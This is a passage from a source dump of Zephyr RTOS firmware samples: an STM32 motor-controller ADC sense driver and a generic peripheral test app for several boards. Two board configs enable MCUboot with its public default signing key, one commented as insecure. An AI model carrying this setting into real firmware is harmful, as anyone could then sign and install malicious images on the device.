9 | RGB_COLOR_CYAN, 10 | RGB_COLOR_MAGENTA, 11 | RGB_COLOR_YELLOW, 12 | RGB_COLOR_WHITE, 13 | RGB_COLOR_COUNT, 14 | } rgb_color_E; 15 | 16 | void rgb_init(); 17 | void rgb_write(rgb_color_E color); 18 | 19 | #endif // RGB_H 20 | -------------------------------------------------------------------------------- /samples/boards/stm32_esc/src/sense.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "sense.h" 4 | 5 | /* private constants */ 6 | typedef struct { 7 | struct adc_dt_spec adc; 8 | uint32_t vref; 9 | } sense_config_S; 10 | 11 | static const sense_config_S SENSE_CONFIG[] = { 12 | [SENSE_CHANNEL_BEMF_A] = {.adc = ADC_DT_SPEC_GET_BY_IDX(DT_PATH(zephyr_user), 0), .vref = 36300}, 13 | [SENSE_CHANNEL_BEMF_B] = {.adc = ADC_DT_SPEC_GET_BY_IDX(DT_PATH(zephyr_user), 1), .vref = 36300}, 14 | [SENSE_CHANNEL_BEMF_C] = {.adc = ADC_DT_SPEC_GET_BY_IDX(DT_PATH(zephyr_user), 2), .vref = 36300}, 15 | [SENSE_CHANNEL_ISENSE_A] = {.adc = ADC_DT_SPEC_GET_BY_IDX(DT_PATH(zephyr_user), 3), .vref = 30000}, 16 | [SENSE_CHANNEL_ISENSE_B] = {.adc = ADC_DT_SPEC_GET_BY_IDX(DT_PATH(zephyr_user), 4), .vref = 30000}, 17 | [SENSE_CHANNEL_ISENSE_C] = {.adc = ADC_DT_SPEC_GET_BY_IDX(DT_PATH(zephyr_user), 5), .vref = 30000}, 18 | [SENSE_CHANNEL_VBUS] = {.adc = ADC_DT_SPEC_GET_BY_IDX(DT_PATH(zephyr_user), 6), .vref = 36300}, 19 | }; 20 | 21 | /* public functions */ 22 | void sense_init() { 23 | for (sense_channel_E i = 0; i < SENSE_CHANNEL_COUNT; i++) { 24 | adc_channel_setup_dt(&SENSE_CONFIG[i].adc); 25 | } 26 | } 27 | 28 | uint32_t sense_read(sense_channel_E chan) { 29 | if (chan >= SENSE_CHANNEL_COUNT) { return 0; } 30 | int16_t val; 31 | struct adc_sequence seq = { 32 | .buffer = &val, 33 | .buffer_size = sizeof val, 34 | }; 35 | adc_sequence_init_dt(&SENSE_CONFIG[chan].adc, &seq); 36 | adc_read(SENSE_CONFIG[chan].adc.dev, &seq); 37 | return (val * SENSE_CONFIG[chan].adc.vref_mv) >> SENSE_CONFIG[chan].adc.resolution; 38 | } 39 | -------------------------------------------------------------------------------- /samples/boards/stm32_esc/src/sense.h: -------------------------------------------------------------------------------- 1 | #ifndef SENSE_H 2 | #define SENSE_H 3 | 4 | #include 5 | 6 | typedef enum { 7 | SENSE_CHANNEL_BEMF_A = 0, 8 | SENSE_CHANNEL_BEMF_B, 9 | SENSE_CHANNEL_BEMF_C, 10 | SENSE_CHANNEL_ISENSE_A, 11 | SENSE_CHANNEL_ISENSE_B, 12 | SENSE_CHANNEL_ISENSE_C, 13 | SENSE_CHANNEL_VBUS, 14 | SENSE_CHANNEL_COUNT, 15 | } sense_channel_E; 16 | 17 | void sense_init(); 18 | uint32_t sense_read(sense_channel_E chan); 19 | 20 | #endif // SENSE_H 21 | -------------------------------------------------------------------------------- /samples/tests/README.md: -------------------------------------------------------------------------------- 1 | # tests 2 | 3 | Store apps meant to test certain features here. 4 | -------------------------------------------------------------------------------- /samples/tests/cpp_test/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.20.0) 2 | 3 | find_package(Zephyr REQUIRED HINTS $ENV{ZEPHYR_BASE}) 4 | project(cpp_test) 5 | 6 | target_sources(app PRIVATE src/main.cpp) 7 | -------------------------------------------------------------------------------- /samples/tests/cpp_test/prj.conf: -------------------------------------------------------------------------------- 1 | CONFIG_CPP=y 2 | CONFIG_GLIBCXX_LIBCPP=y 3 | CONFIG_CPP_EXCEPTIONS=y 4 | CONFIG_STD_CPP20=y 5 | 6 | CONFIG_LOG=y 7 | CONFIG_LOG_MODE_IMMEDIATE=n 8 | CONFIG_LOG_PROCESS_TRIGGER_THRESHOLD=0 9 | CONFIG_LOG_PROCESS_THREAD_SLEEP_MS=100 10 | 11 | # RISC-V needs more, see zephyr/issues/55850 12 | CONFIG_MAIN_STACK_SIZE=4096 13 | -------------------------------------------------------------------------------- /samples/tests/cpp_test/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void) { 5 | try { 6 | throw 69; 7 | } catch (int &e) { 8 | printf("caught %d\r\n", e); 9 | } 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /samples/tests/generic_test/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.20.0) 2 | 3 | find_package(Zephyr REQUIRED HINTS $ENV{ZEPHYR_BASE}) 4 | project(generic_test) 5 | 6 | target_sources(app PRIVATE 7 | src/main.c 8 | src/led_test.c 9 | src/button_test.c 10 | src/spi_test.c 11 | src/i2c_test.c 12 | src/uart_test.c 13 | src/usb_test.c 14 | src/adc_test.c 15 | src/dac_test.c 16 | src/sd_test.c 17 | src/can_test.c 18 | src/network_test.c 19 | ) 20 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/efm32wg.conf: -------------------------------------------------------------------------------- 1 | CONFIG_SPI=n 2 | CONFIG_I2C=n 3 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/efm32wg.overlay: -------------------------------------------------------------------------------- 1 | / { 2 | glub { 3 | compatible = "test"; 4 | leds = <&led_red &led_green &led_blue>; 5 | buttons = <&user_button>; 6 | // spi = <&usart0 &usart1>; /* TODO get working */ 7 | // i2c = <&i2c0 &i2c1>; /* TODO get working */ 8 | uart = <&leuart0 &leuart1>; 9 | }; 10 | }; 11 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/jabican_usb_pro.conf: -------------------------------------------------------------------------------- 1 | # NOTE insecure default key used! 2 | CONFIG_BOOTLOADER_MCUBOOT=y 3 | CONFIG_MCUBOOT_SIGNATURE_KEY_FILE="bootloader/mcuboot/root-rsa-2048.pem" 4 | 5 | CONFIG_USB_DEVICE_STACK=y 6 | 7 | CONFIG_CAN=y 8 | CONFIG_TEST_RANDOM_GENERATOR=y 9 | CONFIG_TIMER_RANDOM_GENERATOR=y 10 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/jabican_usb_pro.overlay: -------------------------------------------------------------------------------- 1 | / { 2 | flub { 3 | compatible = "test"; 4 | leds = <&led_red &led_green &led_blue>; 5 | buttons = <&btn0 &btn1 &btn2>; 6 | usb; 7 | uart = <&uart2>; 8 | can = <&flexcan0>; 9 | }; 10 | }; 11 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/k66f_breakout.conf: -------------------------------------------------------------------------------- 1 | CONFIG_SPI=y 2 | 3 | CONFIG_I2C=y 4 | 5 | CONFIG_USB_DEVICE_STACK=y 6 | 7 | CONFIG_CAN=y 8 | CONFIG_TEST_RANDOM_GENERATOR=y 9 | CONFIG_TIMER_RANDOM_GENERATOR=y 10 | 11 | CONFIG_MAIN_STACK_SIZE=2048 12 | CONFIG_FILE_SYSTEM=y 13 | CONFIG_FAT_FILESYSTEM_ELM=y 14 | CONFIG_DISK_DRIVER_SDMMC=y 15 | 16 | CONFIG_NETWORKING=y 17 | CONFIG_NET_IPV4=y 18 | CONFIG_NET_IPV6=n 19 | CONFIG_NET_SOCKETS=y 20 | CONFIG_NET_TCP=y 21 | CONFIG_NET_UDP=y 22 | CONFIG_NET_DHCPV4=y 23 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/k66f_breakout.overlay: -------------------------------------------------------------------------------- 1 | / { 2 | littlefinger { 3 | compatible = "test"; 4 | leds = <&led_red &led_green &led_blue>; 5 | buttons = <&user_button &sd_detect &usbid_0 &usbid_1>; 6 | spi = <&spi0>; 7 | i2c = <&i2c0>; 8 | usb; 9 | sd; 10 | can = <&flexcan0>; 11 | network; 12 | }; 13 | }; 14 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/k66f_usbhs.conf: -------------------------------------------------------------------------------- 1 | CONFIG_USB_DEVICE_STACK=y 2 | 3 | CONFIG_MAIN_STACK_SIZE=2048 4 | CONFIG_FILE_SYSTEM=y 5 | CONFIG_FAT_FILESYSTEM_ELM=y 6 | CONFIG_DISK_DRIVER_SDMMC=y 7 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/k66f_usbhs.overlay: -------------------------------------------------------------------------------- 1 | / { 2 | grub { 3 | compatible = "test"; 4 | leds = <&led_r &led_g &led_b>; 5 | buttons = <&usr_btn>; 6 | usb; 7 | sd; 8 | }; 9 | }; 10 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/lpc845_lin.overlay: -------------------------------------------------------------------------------- 1 | / { 2 | flub { 3 | compatible = "test"; 4 | leds = <&led_r &led_g &led_b &pwr_en>; 5 | uart = <&uart1 &uart2 &uart3 &uart4>; 6 | }; 7 | }; 8 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/lpc845brk.overlay: -------------------------------------------------------------------------------- 1 | / { 2 | flub { 3 | compatible = "test"; 4 | leds = <&led_r &led_g &led_b>; 5 | buttons = <&usr_btn>; 6 | }; 7 | }; 8 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/nogusb.conf: -------------------------------------------------------------------------------- 1 | CONFIG_BOOTLOADER_MCUBOOT=y 2 | CONFIG_MCUBOOT_SIGNATURE_KEY_FILE="bootloader/mcuboot/root-rsa-2048.pem" 3 | 4 | CONFIG_SPI=y 5 | 6 | CONFIG_I2C=y 7 | 8 | CONFIG_USB_DEVICE_STACK=y 9 | 10 | CONFIG_CAN=y 11 | CONFIG_CAN_FD_MODE=y 12 | CONFIG_TEST_RANDOM_GENERATOR=y 13 | CONFIG_TIMER_RANDOM_GENERATOR=y 14 | 15 | CONFIG_ADC=y 16 | 17 | CONFIG_DAC=y 18 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/nogusb.overlay: -------------------------------------------------------------------------------- 1 | / { 2 | fluffernutter { 3 | compatible = "test"; 4 | leds = <&led_red &led_green &led_blue>; 5 | buttons = <&dbg_1 &dbg_2>; 6 | spi = <&spi2>; 7 | i2c = <&i2c2>; 8 | usb; 9 | adc0 { 10 | compatible = "test,adc"; 11 | device = <&adc1>; 12 | channels = <1>; 13 | resolution = <12>; 14 | reference-voltage-mv = <36300>; 15 | }; 16 | dac0 { 17 | compatible = "test,dac"; 18 | device = <&dac1>; 19 | channels = <2>; 20 | resolution = <12>; 21 | reference-voltage-mv = <3300>; 22 | }; 23 | can = <&fdcan1>; 24 | }; 25 | }; 26 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/usb_pdmon.conf: -------------------------------------------------------------------------------- 1 | CONFIG_USB_DEVICE_STACK=y 2 | -------------------------------------------------------------------------------- /samples/tests/generic_test/boards/usb_pdmon.overlay: -------------------------------------------------------------------------------- 1 | / { 2 | flub { 3 | compatible = "test"; 4 | leds = <&led_r &led_g &led_b &vbus_en>; 5 | uart = <&usart2>; 6 | usb; 7 | }; 8 | }; 9 | -------------------------------------------------------------------------------- /samples/tests/generic_test/dts/bindings/test,adc.yaml: -------------------------------------------------------------------------------- 1 | description: settings for ADC channels 2 | 3 | include: base.yaml 4 | 5 | compatible: "test,adc" 6 | 7 | properties: 8 | device: 9 | type: phandle 10 | required: true 11 | 12 | channels: 13 | type: array 14 | required: true 15 | 16 | resolution: 17 | type: int 18 | default: 12 19 | 20 | reference-voltage-mv: 21 | type: int 22 | default: 3300 23 | -------------------------------------------------------------------------------- /samples/tests/generic_test/dts/bindings/test,dac.yaml: -------------------------------------------------------------------------------- 1 | description: settings for DAC channels 2 | 3 | include: base.yaml 4 | 5 | compatible: "test,dac" 6 | 7 | properties: 8 | device: 9 | type: phandle 10 | required: true 11 | 12 | channels: 13 | type: array 14 | required: true 15 | 16 | resolution: 17 | type: int 18 | default: 12 19 | 20 | reference-voltage-mv: 21 | type: int 22 | default: 3300 23 | -------------------------------------------------------------------------------- /samples/tests/generic_test/dts/bindings/test.yaml: -------------------------------------------------------------------------------- 1 | description: Available peripherals to test 2 | 3 | include: base.yaml 4 | 5 | compatible: "test" 6 | 7 | properties: 8 | leds: 9 | type: phandles 10 | 11 | buttons: 12 | type: phandles 13 | 14 | spi: 15 | type: phandles 16 | 17 | i2c: 18 | type: phandles 19 | 20 | uart: 21 | type: phandles 22 | 23 | usb: 24 | type: boolean 25 | 26 | sd: 27 | type: boolean 28 | 29 | can: 30 | type: phandles 31 | 32 | network: 33 | type: boolean 34 | -------------------------------------------------------------------------------- /samples/tests/generic_test/prj.conf: -------------------------------------------------------------------------------- 1 | CONFIG_DEBUG_THREAD_INFO=y 2 | 3 | CONFIG_LOG=y 4 | CONFIG_LOG_DEFAULT_LEVEL=3 5 | CONFIG_LOG_MODE_IMMEDIATE=n 6 | CONFIG_LOG_PROCESS_TRIGGER_THRESHOLD=0 7 | CONFIG_LOG_PROCESS_THREAD_SLEEP_MS=100 8 | -------------------------------------------------------------------------------- /samples/tests/generic_test/src/adc_test.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | #include 4 | LOG_MODULE_REGISTER(adc_test, CONFIG_LOG_DEFAULT_LEVEL); 5 | 6 | #if DT_HAS_COMPAT_STATUS_OKAY(test_adc) 7 | 8 | static void adc_set_test(const struct device *adc, uint8_t *channels, 9 | size_t num_channels, uint32_t res, uint32_t ref, char *name) { 10 | LOG_INF("running test on %s", name); 11 | 12 | uint16_t samples[1]; 13 | struct adc_channel_cfg cfg = { 14 | .gain = ADC_GAIN_1, 15 | .reference = ADC_REF_INTERNAL, 16 | .acquisition_time = ADC_ACQ_TIME_MAX, 17 | .differential = 0 18 | }; 19 | struct adc_sequence seq = { 20 | .options = NULL, 21 | .buffer = samples, 22 | .buffer_size = sizeof(samples), 23 | .resolution = res, 24 | .oversampling = 0, 25 | .calibrate = false 26 | }; 27 | 28 | for (int i = 0; i < num_channels; i++) { 29 | cfg.channel_id = channels[i]; 30 | adc_channel_setup(adc, &cfg); 31 | seq.channels = BIT(channels[i]); 32 | adc_read(adc, &seq); 33 | int32_t voltage = samples[0]; 34 | adc_raw_to_millivolts(ref, ADC_GAIN_1, res, &voltage); 35 | LOG_INF("read %dmV on channel %d", voltage, channels[i]); 36 | } 37 | } 38 | 39 | #define RUN_ADC_SET(id) \ 40 | const struct device *adc##id = DEVICE_DT_GET(DT_PROP(id, device)); \ 41 | uint8_t chans##id[] = DT_PROP(id, channels); \ 42 | size_t num_chans##id = DT_PROP_LEN(id, channels); \ 43 | uint32_t res##id = DT_PROP(id, resolution); \ 44 | uint32_t ref##id = DT_PROP(id, reference_voltage_mv); \ 45 | adc_set_test(adc##id, chans##id, num_chans##id, res##id, ref##id, #id); \ 46 | 47 | static int adc_test(void) { 48 | LOG_INF("starting ADC test"); 49 | DT_FOREACH_STATUS_OKAY(test_adc, RUN_ADC_SET) 50 | return 0; 51 | } 52 | 53 | SYS_INIT(adc_test, APPLICATION, 6); 54 | 55 | #endif // DT_HAS_COMPAT_STATUS_OKAY(test_adc) 56 | -------------------------------------------------------------------------------- /samples/tests/generic_test/src/button_test.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | #include 4 | LOG_MODULE_REGISTER(button, CONFIG_LOG_DEFAULT_LEVEL); 5 | 6 | #if DT_NODE_HAS_PROP(TEST_NODE, buttons) 7 | 8 | #define NUM_BTNS DT_PROP_LEN(TEST_NODE, buttons) 9 | 10 | static const struct gpio_dt_spec btns[] = { 11 | DT_FOREACH_PROP_ELEM(TEST_NODE, buttons, ELEM_TO_GPIO) 12 | }; 13 | 14 | static struct gpio_data { 15 | struct gpio_callback cb_data; 16 | int aux; 17 | } btns_data[NUM_BTNS]; 18 | 19 | static void btn_cb(const struct device *port, struct gpio_callback *cb, gpio_port_pins_t pins) { 20 | struct gpio_data *data = CONTAINER_OF(cb, struct gpio_data, cb_data); 21 | LOG_INF("button %d pressed!", data->aux); 22 | } 23 | 24 | static int gpio_test(void) { 25 | LOG_INF("starting button test"); 26 | for (int i = 0; i < NUM_BTNS; i++) { 27 | LOG_INF("attaching logging interrupt to button %d", i); 28 | btns_data[i].aux = i; 29 | gpio_pin_configure_dt(&btns[i], GPIO_INPUT); 30 | gpio_pin_interrupt_configure_dt(&btns[i], GPIO_INT_EDGE_TO_ACTIVE); 31 | gpio_init_callback(&btns_data[i].cb_data, btn_cb, BIT(btns[i].pin)); 32 | gpio_add_callback(btns[i].port, &btns_data[i].cb_data); 33 | } 34 | return 0; 35 | } 36 | 37 | SYS_INIT(gpio_test, APPLICATION, 1); 38 | 39 | #endif // DT_NODE_HAS_PROP(TEST_NODE, buttons) 40 | -------------------------------------------------------------------------------- /samples/tests/generic_test/src/can_test.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | #include 4 | #include 5 | LOG_MODULE_REGISTER(can_test, CONFIG_LOG_DEFAULT_LEVEL); 6 | 7 | #if DT_NODE_HAS_PROP(TEST_NODE, can) 8 | 9 | const struct can_filter filter = { 10 | .id = 0, 11 | .mask = 0, 12 | .flags = 0, // note extended ID ignored 13 | // note RTR ignored unless CONFIG_CAN_ACCEPT_RTR=y 14 | }; 15 | 16 | static void can_test_thread(void* p1, void* p2, void* p3) { 17 | int idx = (int) p1; 18 | const struct device *can = (const struct device*) p2; 19 | struct k_msgq *msgq = (struct k_msgq*) p3; 20 | LOG_INF("thread started for CAN %d!", idx); 21 | #ifdef CONFIG_CAN_FD_MODE 22 | can_set_mode(can, CAN_MODE_FD); 23 | #else 24 | can_set_mode(can, CAN_MODE_NORMAL); 25 | #endif // CONFIG_CAN_FD_MODE 26 | LOG_INF("dynamically setting bitrate to 1Mbps for CAN %d", idx); 27 | if (can_set_bitrate(can, 1000000)) { 28 | LOG_ERR("setting bitrate for CAN %d failed!", idx); 29 | return; 30 | } 31 | #ifdef CONFIG_CAN_FD_MODE 32 | LOG_INF("dynamically setting data bitrate to 2Mbps for CAN %d", idx); 33 | if (can_set_bitrate_data(can, 2000000)) { 34 | LOG_ERR("setting data bitrate for CAN %d failed!", idx); 35 | return; 36 | } 37 | #endif // CONFIG_CAN_FD_MODE 38 | can_add_rx_filter_msgq(can, msgq, &filter); 39 | can_start(can); 40 | 41 | struct can_frame txmsg = { 42 | .id = 0x69, 43 | .dlc = 0, // set later 44 | #ifdef CONFIG_CAN_FD_MODE 45 | .flags = CAN_FRAME_FDF | CAN_FRAME_BRS, 46 | #else 47 | .flags = 0, 48 | #endif // CONFIG_CAN_FD_MODE 49 | }; 50 | 51 | while (1) { 52 | uint32_t rand = sys_rand32_get(); 53 | memcpy(txmsg.data, &rand, sizeof(rand)); 54 | txmsg.dlc = can_bytes_to_dlc(sizeof(rand)); 55 | can_send(can, &txmsg, K_FOREVER, NULL, NULL); 56 | LOG_INF("sent 0x%x on CAN %d", rand, idx); 57 | 58 | struct can_frame rxmsg; 59 | k_msgq_get(msgq, &rxmsg, K_FOREVER); 60 | memcpy(&rand, rxmsg.data, sizeof(rand)); 61 | LOG_INF("recvd 0x%x from id 0x%x w/ dlc %d on CAN %d", 62 | rand, rxmsg.id, rxmsg.dlc, idx); 63 | 64 | k_msleep(1000); 65 | } 66 | } 67 | 68 | #define CREATE_CAN_TEST(node_id, prop, idx) \ 69 | CAN_MSGQ_DEFINE(msgq##idx, 32); \ 70 | K_THREAD_STACK_DEFINE(can##idx_stack, 1024); \ 71 | struct k_thread can##idx_thread_data; \ 72 | \ 73 | static void can_test##idx() { \ 74 | const struct device *can = DEVICE_DT_GET(DT_PROP_BY_IDX(node_id, prop, idx)); \ 75 | LOG_INF("setting up ping pong thread for CAN %d", idx); \ 76 | size_t stack_size = K_THREAD_STACK_SIZEOF(can##idx_stack); \ 77 | k_thread_create(&can##idx_thread_data, can##idx_stack, stack_size, \ 78 | can_test_thread, idx, (void*) can, &msgq##idx, \ 79 | K_PRIO_PREEMPT(0), 0, K_NO_WAIT); \ 80 | k_thread_start(&can##idx_thread_data); \ 81 | } 82 | DT_FOREACH_PROP_ELEM(TEST_NODE, can, CREATE_CAN_TEST) 83 | 84 | #define RUN_CAN_TEST(node_id, prop, idx) can_test##idx(); 85 | static int can_test(void) { 86 | LOG_INF("starting CAN test"); 87 | DT_FOREACH_PROP_ELEM(TEST_NODE, can, RUN_CAN_TEST) 88 | return 0; 89 | } 90 | 91 | SYS_INIT(can_test, APPLICATION, 8); 92 | 93 | #endif // DT_NODE_HAS_PROP(TEST_NODE, can) 94 | -------------------------------------------------------------------------------- /samples/tests/generic_test/src/common.h: -------------------------------------------------------------------------------- 1 | #ifndef COMMON_H 2 | #define COMMON_H 3 | 4 | #include 5 | #include 6 | 7 | #define TEST_NODE DT_COMPAT_GET_ANY_STATUS_OKAY(test) 8 | 9 | #define ELEM_TO_GPIO(node_id, prop, idx) \ 10 | GPIO_DT_SPEC_GET(DT_PROP_BY_IDX(node_id, prop, idx), gpios), 11 | 12 | #define ELEM_TO_DEVICE(node_id, prop, idx) \ 13 | DEVICE_DT_GET(DT_PROP_BY_IDX(node_id, prop, idx)), 14 | 15 | #endif // COMMON_H 16 | -------------------------------------------------------------------------------- /samples/tests/generic_test/src/dac_test.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | #include 4 | LOG_MODULE_REGISTER(dac_test, CONFIG_LOG_DEFAULT_LEVEL); 5 | 6 | #if DT_HAS_COMPAT_STATUS_OKAY(test_dac) 7 | 8 | static void dac_set_test(const struct device *dac, uint8_t *channels, 9 | size_t num_channels, uint32_t res, uint32_t ref, char *name) { 10 | LOG_INF("running test on %s", name); 11 | 12 | struct dac_channel_cfg cfg = { 13 | .resolution = res 14 | }; 15 | 16 | for (int i = 0; i < num_channels; i++) { 17 | cfg.channel_id = channels[i]; 18 | dac_channel_setup(dac, &cfg); 19 | dac_write_value(dac, channels[i], (1 << res) * 1000 / ref); 20 | LOG_INF("set channel %d to 1V", channels[i]); 21 | } 22 | } 23 | 24 | #define RUN_DAC_SET(id) \ 25 | const struct device *dac##id = DEVICE_DT_GET(DT_PROP(id, device)); \ 26 | uint8_t chans##id[] = DT_PROP(id, channels); \ 27 | size_t num_chans##id = DT_PROP_LEN(id, channels); \ 28 | uint32_t res##id = DT_PROP(id, resolution); \ 29 | uint32_t ref##id = DT_PROP(id, reference_voltage_mv); \ 30 | dac_set_test(dac##id, chans##id, num_chans##id, res##id, ref##id, #id); \ 31 | 32 | static int dac_test(void) { 33 | LOG_INF("starting DAC test"); 34 | DT_FOREACH_STATUS_OKAY(test_dac, RUN_DAC_SET) 35 | return 0; 36 | } 37 | 38 | SYS_INIT(dac_test, APPLICATION, 7); 39 | 40 | #endif // DT_HAS_COMPAT_STATUS_OKAY(test_dac) 41 | -------------------------------------------------------------------------------- /samples/tests/generic_test/src/i2c_test.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | #include 4 | LOG_MODULE_REGISTER(i2c_test, CONFIG_LOG_DEFAULT_LEVEL); 5 | 6 | #if DT_NODE_HAS_PROP(TEST_NODE, i2c) 7 | 8 | #define NUM_I2C DT_PROP_LEN(TEST_NODE, i2c) 9 | 10 | static const struct device *i2cs[] = { 11 | DT_FOREACH_PROP_ELEM(TEST_NODE, i2c, ELEM_TO_DEVICE) 12 | }; 13 | 14 | static int i2c_test(void) { 15 | LOG_INF("starting I2C test"); 16 | for (int i = 0; i < NUM_I2C; i++) { 17 | LOG_INF("scanning for devices on I2C %d", i); 18 | for (uint8_t addr = 0; addr < 128; addr++) { 19 | if (!i2c_write(i2cs[i], NULL, 0, addr)) { 20 | LOG_INF("device 0x%x found!", addr); 21 | } 22 | } 23 | } 24 | return 0; 25 | } 26 | 27 | SYS_INIT(i2c_test, APPLICATION, 3); 28 | 29 | #endif // DT_NODE_HAS_PROP(TEST_NODE, i2c) 30 | -------------------------------------------------------------------------------- /samples/tests/generic_test/src/led_test.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | #include 4 | #include 5 | LOG_MODULE_REGISTER(led, CONFIG_LOG_DEFAULT_LEVEL); 6 | 7 | #if DT_NODE_HAS_PROP(TEST_NODE, leds) 8 | 9 | #define NUM_LEDS DT_PROP_LEN(TEST_NODE, leds) 10 | 11 | static const struct gpio_dt_spec leds[] = { 12 | DT_FOREACH_PROP_ELEM(TEST_NODE, leds, ELEM_TO_GPIO) 13 | }; 14 | 15 | static int gpio_test(void) { 16 | LOG_INF("starting LED test"); 17 | for (int i = 0; i < NUM_LEDS; i++) { 18 | LOG_INF("flashing LED %d", i); 19 | gpio_pin_configure_dt(&leds[i], GPIO_OUTPUT_INACTIVE); 20 | for (int j = 0; j < 6; j++) { 21 | gpio_pin_toggle_dt(&leds[i]); 22 | k_msleep(69); 23 | } 24 | } 25 | return 0; 26 | } 27 | 28 | SYS_INIT(gpio_test, APPLICATION, 0); 29 | 30 | #endif // DT_HAS_PROP(TEST_NODE, leds) 31 | -------------------------------------------------------------------------------- /samples/tests/generic_test/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "common.h" 4 | 5 | const struct gpio_dt_spec led = GPIO_DT_SPEC_GET(DT_ALIAS(led0), gpios); 6 | 7 | int main() { 8 | #if DT_PROP(TEST_NODE, sd) 9 | extern int sd_test(void); 10 | sd_test(); // can't use SYS_INIT :( 11 | #endif 12 | 13 | printk("Flashing led0 in main at 1Hz so it does something...\r\n"); 14 | gpio_pin_configure_dt(&led, GPIO_OUTPUT_INACTIVE); 15 | while (1) { 16 | gpio_pin_toggle_dt(&led); 17 | k_msleep(500); 18 | } 19 | } -------------------------------------------------------------------------------- /samples/tests/generic_test/src/network_test.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | LOG_MODULE_REGISTER(network_test, CONFIG_LOG_DEFAULT_LEVEL); 8 | 9 | #if DT_PROP(TEST_NODE, network) 10 | 11 | static struct k_sem lock; 12 | static struct net_mgmt_event_callback mgmt_cb; 13 | 14 | static void handler(struct net_mgmt_event_callback *cb, uint32_t mgmt_event, struct net_if *iface) { 15 | if (mgmt_event != NET_EVENT_IPV4_ADDR_ADD) { 16 | return; 17 | } 18 | for (int i = 0; i < NET_IF_MAX_IPV4_ADDR; i++) { 19 | char buf[NET_IPV4_ADDR_LEN]; 20 | if (iface->config.ip.ipv4->unicast[i].ipv4.addr_type != NET_ADDR_DHCP) { 21 | continue; 22 | } 23 | LOG_INF("Got address: %s", 24 | net_addr_ntop(AF_INET, &iface->config.ip.ipv4->unicast[i].ipv4.address.in_addr, buf, sizeof(buf)) 25 | ); 26 | } 27 | k_sem_give(&lock); 28 | } 29 | 30 | static int network_test(void) { 31 | k_sem_init(&lock, 0, 1); 32 | 33 | LOG_INF("Waiting for an IPV4 address..."); 34 | net_mgmt_init_event_callback(&mgmt_cb, handler, NET_EVENT_IPV4_ADDR_ADD); 35 | net_mgmt_add_event_callback(&mgmt_cb); 36 | net_dhcpv4_start(net_if_get_default()); 37 | 38 | k_sem_take(&lock, K_FOREVER); 39 | return 0; 40 | } 41 | 42 | SYS_INIT(network_test, APPLICATION, 9); 43 | 44 | #endif // DT_PROP(TEST_NODE, network) 45 | -------------------------------------------------------------------------------- /samples/tests/generic_test/src/sd_test.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | LOG_MODULE_REGISTER(sd_test, CONFIG_LOG_DEFAULT_LEVEL); 4 | 5 | #if DT_PROP(TEST_NODE, sd) 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | int sd_test(void) { 12 | int rc; 13 | FATFS fat_fs; 14 | struct fs_mount_t mp = { 15 | .type = FS_FATFS, 16 | .fs_data = &fat_fs, 17 | .mnt_point = "/SD:" 18 | }; 19 | 20 | LOG_INF("initializing SD card"); 21 | rc = disk_access_init("SD"); 22 | if (rc) { 23 | LOG_ERR("SD initialization failed! %d", rc); 24 | return rc; 25 | } 26 | 27 | LOG_INF("mounting FS"); 28 | rc = fs_mount(&mp); 29 | if (rc) { 30 | LOG_ERR("FS mounting failed! %d", rc); 31 | return rc; 32 | } 33 | 34 | LOG_INF("listing files in root directory"); 35 | struct fs_dir_t dirp; 36 | struct fs_dirent entry; 37 | fs_dir_t_init(&dirp); 38 | fs_opendir(&dirp, mp.mnt_point); 39 | while (1) { 40 | fs_readdir(&dirp, &entry); 41 | if (entry.name[0] == 0) { 42 | break; 43 | } 44 | LOG_INF("type: %d name: %s size: %d", entry.type, entry.name, entry.size); 45 | } 46 | fs_closedir(&dirp); 47 | LOG_INF("unmounting FS"); 48 | rc = fs_unmount(&mp); 49 | if (rc) { 50 | LOG_ERR("FS unmounting failed! %d", rc); 51 | return rc; 52 | } 53 | 54 | return 0; 55 | } 56 | 57 | #endif // DT_PROP(TEST_NODE, sd) 58 | -------------------------------------------------------------------------------- /samples/tests/generic_test/src/spi_test.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | #include 4 | LOG_MODULE_REGISTER(spi_test, CONFIG_LOG_DEFAULT_LEVEL); 5 | 6 | #if DT_NODE_HAS_PROP(TEST_NODE, spi) 7 | 8 | #define NUM_SPI DT_PROP_LEN(TEST_NODE, spi) 9 | 10 | static const struct device *spis[] = { 11 | DT_FOREACH_PROP_ELEM(TEST_NODE, spi, ELEM_TO_DEVICE) 12 | }; 13 | 14 | static int spi_test(void) { 15 | LOG_INF("starting SPI test"); 16 | 17 | struct spi_config cfg = {0}; 18 | cfg.frequency = 250000; 19 | cfg.operation |= SPI_OP_MODE_MASTER; 20 | // cfg.operation |= SPI_MODE_CPOL; 21 | // 